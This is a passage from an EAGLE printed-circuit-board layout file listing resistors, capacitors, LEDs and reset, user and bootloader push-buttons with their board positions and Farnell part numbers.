y=\"48.7\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"87.5\" y=\"48.7\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"87.5\" y=\"48.7\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"C14\" library=\"resistor\" package=\"C0603\" value=\"18pF\" x=\"79.2\" y=\"48.5\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"NAME\" x=\"80.489\" y=\"50.2015\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"80.8795\" y=\"47.643\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" value=\"1612182\" x=\"79.2\" y=\"48.5\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"79.2\" y=\"48.5\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"79.2\" y=\"48.5\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"79.2\" y=\"48.5\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"79.2\" y=\"48.5\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"R31\" library=\"resistor\" package=\"R0603\" value=\"10K\" x=\"36.1\" y=\"48.3\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"NAME\" x=\"37.389\" y=\"47.4015\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"37.7795\" y=\"50.043\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" value=\"9330399\" x=\"36.1\" y=\"48.3\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"36.1\" y=\"48.3\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"36.1\" y=\"48.3\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"36.1\" y=\"48.3\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"36.1\" y=\"48.3\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"R30\" library=\"resistor\" package=\"R0603\" value=\"10K\" x=\"93.4\" y=\"7.3\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"NAME\" x=\"94.289\" y=\"6.6015\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"94.5795\" y=\"8.843\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" value=\"9330399\" x=\"93.4\" y=\"7.3\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"93.4\" y=\"7.3\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"93.4\" y=\"7.3\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"93.4\" y=\"7.3\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"93.4\" y=\"7.3\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"BOOTLOADER\" library=\"SparkFun4-13-10\" package=\"TACTILE_SWITCH_SMD\" value=\"\" x=\"37.1\" y=\"54.1\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"NAME\" x=\"34.122\" y=\"50.611\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"39.132\" y=\"53.211\" size=\"0.4064\" layer=\"27\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" value=\"9471880\" x=\"37.1\" y=\"54.1\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"37.1\" y=\"54.1\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"37.1\" y=\"54.1\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"37.1\" y=\"54.1\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"37.1\" y=\"54.1\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"USER\" library=\"SparkFun4-13-10\" package=\"TACTILE_SWITCH_SMD\" value=\"\" x=\"93.2\" y=\"11.9\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"91.911\" y=\"15.178\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"92.311\" y=\"9.868\" size=\"0.4064\" layer=\"27\"/>\n<attribute name=\"FARNELL\" value=\"9471880\" x=\"93.2\" y=\"11.9\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"93.2\" y=\"11.9\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"93.2\" y=\"11.9\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"93.2\" y=\"11.9\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"93.2\" y=\"11.9\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"RESET\" library=\"SparkFun4-13-10\" package=\"TACTILE_SWITCH_SMD\" value=\"\" x=\"26.1\" y=\"54.1\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"NAME\" x=\"30.222\" y=\"52.111\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"28.132\" y=\"53.211\" size=\"0.4064\" layer=\"27\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" value=\"9471880\" x=\"26.1\" y=\"54.1\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"26.1\" y=\"54.1\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"26.1\" y=\"54.1\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"26.1\" y=\"54.1\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"26.1\" y=\"54.1\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"R29\" library=\"resistor\" package=\"R0603\" value=\"10K\" x=\"26.1\" y=\"48.2\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"25.111\" y=\"49.2985\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"25.0205\" y=\"46.557\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"FARNELL\" value=\"9330399\" x=\"26.1\" y=\"48.2\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"26.1\" y=\"48.2\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"26.1\" y=\"48.2\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"26.1\" y=\"48.2\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"26.1\" y=\"48.2\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"C19\" library=\"resistor\" package=\"C0603\" value=\"100nF\" x=\"71.3\" y=\"53.5\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"NAME\" x=\"72.189\" y=\"52.8015\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"72.2795\" y=\"55.043\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" value=\"2332586\" x=\"71.3\" y=\"53.5\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"71.3\" y=\"53.5\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"71.3\" y=\"53.5\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"y\" x=\"71.3\" y=\"53.5\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"Crrently rs 264 4646\" x=\"71.3\" y=\"53.5\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"C20\" library=\"resistor\" package=\"C0603\" value=\"100nF\" x=\"53.8\" y=\"39.7\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"NAME\" x=\"54.289\" y=\"41.2015\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"55.7795\" y=\"38.843\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" value=\"2332586\" x=\"53.8\" y=\"39.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"53.8\" y=\"39.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"53.8\" y=\"39.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"y\" x=\"53.8\" y=\"39.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"Crrently rs 264 4646\" x=\"53.8\" y=\"39.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"C21\" library=\"resistor\" package=\"C0603\" value=\"100nF\" x=\"41.9\" y=\"51.2\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"41.011\" y=\"51.9985\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"40.5205\" y=\"49.657\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"FARNELL\" value=\"2332586\" x=\"41.9\" y=\"51.2\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"41.9\" y=\"51.2\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"41.9\" y=\"51.2\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"y\" x=\"41.9\" y=\"51.2\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"Crrently rs 264 4646\" x=\"41.9\" y=\"51.2\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"C22\" library=\"resistor\" package=\"C0603\" value=\"100nf\" x=\"57.3\" y=\"66.4\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"NAME\" x=\"56.6015\" y=\"65.511\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"58.843\" y=\"65.0205\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" value=\"2332586\" x=\"57.3\" y=\"66.4\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"57.3\" y=\"66.4\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"57.3\" y=\"66.4\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"y\" x=\"57.3\" y=\"66.4\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"Crrently rs 264 4646\" x=\"57.3\" y=\"66.4\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"C23\" library=\"resistor\" package=\"C0603\" value=\"100nF\" x=\"49.6\" y=\"39.7\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"NAME\" x=\"49.889\" y=\"41.2015\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"51.6795\" y=\"38.843\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" value=\"2332586\" x=\"49.6\" y=\"39.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"49.6\" y=\"39.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"49.6\" y=\"39.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"y\" x=\"49.6\" y=\"39.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"Crrently rs 264 4646\" x=\"49.6\" y=\"39.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"C24\" library=\"resistor\" package=\"C0603\" value=\"100nF\" x=\"44.9\" y=\"58.1\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"NAME\" x=\"46.189\" y=\"59.7015\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"46.6795\" y=\"57.443\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" value=\"2332586\" x=\"44.9\" y=\"58.1\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"44.9\" y=\"58.1\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"44.9\" y=\"58.1\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"y\" x=\"44.9\" y=\"58.1\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"Crrently rs 264 4646\" x=\"44.9\" y=\"58.1\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"R25\" library=\"resistor\" package=\"R0603\" value=\"330\" x=\"29.1\" y=\"29.5\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"28.411\" y=\"27.8985\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"30.9205\" y=\"27.957\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"FARNELL\" value=\"9332014\" x=\"29.1\" y=\"29.5\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"29.1\" y=\"29.5\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"29.1\" y=\"29.5\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"29.1\" y=\"29.5\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"29.1\" y=\"29.5\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"R27\" library=\"resistor\" package=\"R0603\" value=\"330\" x=\"97.15\" y=\"64.7\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"NAME\" x=\"98.6515\" y=\"63.411\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"99.693\" y=\"63.3205\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" value=\"9332014\" x=\"97.15\" y=\"64.7\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"97.15\" y=\"64.7\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"97.15\" y=\"64.7\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"97.15\" y=\"64.7\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"97.15\" y=\"64.7\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"R28\" library=\"resistor\" package=\"R0603\" value=\"330\" x=\"97.15\" y=\"59.6\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"NAME\" x=\"98.7515\" y=\"58.611\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"99.007\" y=\"60.7795\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"FARNELL\" value=\"9332014\" x=\"97.15\" y=\"59.6\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"97.15\" y=\"59.6\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"97.15\" y=\"59.6\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"97.15\" y=\"59.6\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"97.15\" y=\"59.6\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"LED6\" library=\"SparkFun\" package=\"LED-0603\" value=\"CLOCK oran\" x=\"25.2\" y=\"29.5\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"FARNELL\" value=\"2146433\" x=\"25.2\" y=\"29.5\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"25.2\" y=\"29.5\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"25.2\" y=\"29.5\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"25.2\" y=\"29.5\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"25.2\" y=\"29.5\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"27.189\" y=\"28.6015\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"30.316\" y=\"31.0795\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n</element>\n<element name=\"LED7\" library=\"SparkFun\" package=\"LED-0603\" value=\"COMMS ACTIVITY yel\" x=\"94.95\" y=\"64.7\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"96.3515\" y=\"63.011\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"88.484\" y=\"66.1705\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"FARNELL\" value=\"2146436\" x=\"94.95\" y=\"64.7\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"94.95\" y=\"64.7\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"94.95\" y=\"64.7\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"94.95\" y=\"64.7\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"94.95\" y=\"64.7\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"LED8\" library=\"SparkFun\" package=\"LED-0603\" value=\"USB grn\" x=\"94.95\" y=\"59.6\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"92.7515\" y=\"58.311\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"93.2705\" y=\"63.116\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"FARNELL\" value=\"2146434\" x=\"94.95\" y=\"59.6\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"94.95\" y=\"59.6\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"94.95\" y=\"59.6\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"94.95\" y=\"59.6\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"94.95\" y=\"59.6\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"R19\" library=\"resistor\" package=\"R0603\" value=\"330\" x=\"94.85\" y=\"41.1\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"NAME\" x=\"93.2485\" y=\"42.389\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"95.707\" y=\"42.3795\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"FARNELL\" value=\"9332014\" x=\"94.85\" y=\"41.1\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"94.85\" y=\"41.1\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"94.85\" y=\"41.1\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"94.85\" y=\"41.1\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"94.85\" y=\"41.1\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n</element>\n<element name=\"LED1\" library=\"SparkFun\" package=\"LED-0603\" value=\"POWER blue\" x=\"92.35\" y=\"41.1\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"NAME\" x=\"92.0485\" y=\"45.789\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"90.7705\" y=\"46.816\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"FARNELL\" value=\"2217972\" x=\"92.35\" y=\"41.1\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"92.35\" y=\"41.1\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"92.35\" y=\"41.1\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"92.35\" y=\"41.1\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"92.35\" y=\"41.1\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"C30\" library=\"resistor\" package=\"C0805\" value=\"10uF\" x=\"108.9\" y=\"64.2\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"NAME\" x=\"109.7985\" y=\"65.489\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"110.757\" y=\"66.2795\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"FARNELL\" value=\"1867958\" x=\"108.9\" y=\"64.2\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"108.9\" y=\"64.2\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"108.9\" y=\"64.2\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"108.9\" y=\"64.2\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"108.9\" y=\"64.2\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n</element>\n<element name=\"C18\" library=\"resistor\" package=\"C0805\" value=\"22uF\" x=\"101.5\" y=\"46.7\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"100.311\" y=\"47.5985\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"100.3205\" y=\"44.957\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"FARNELL\" value=\"1867956\" x=\"101.5\" y=\"46.7\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"101.5\" y=\"46.7\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"101.5\" y=\"46.7\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"101.5\" y=\"46.7\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"101.5\" y=\"46.7\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"R22\" library=\"resistor\" package=\"R0603\" value=\"330\" x=\"3.2\" y=\"6.6\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"NAME\" x=\"1.4985\" y=\"7.789\" size=\"0.8128\" layer=\"25\" font=\"vector\" 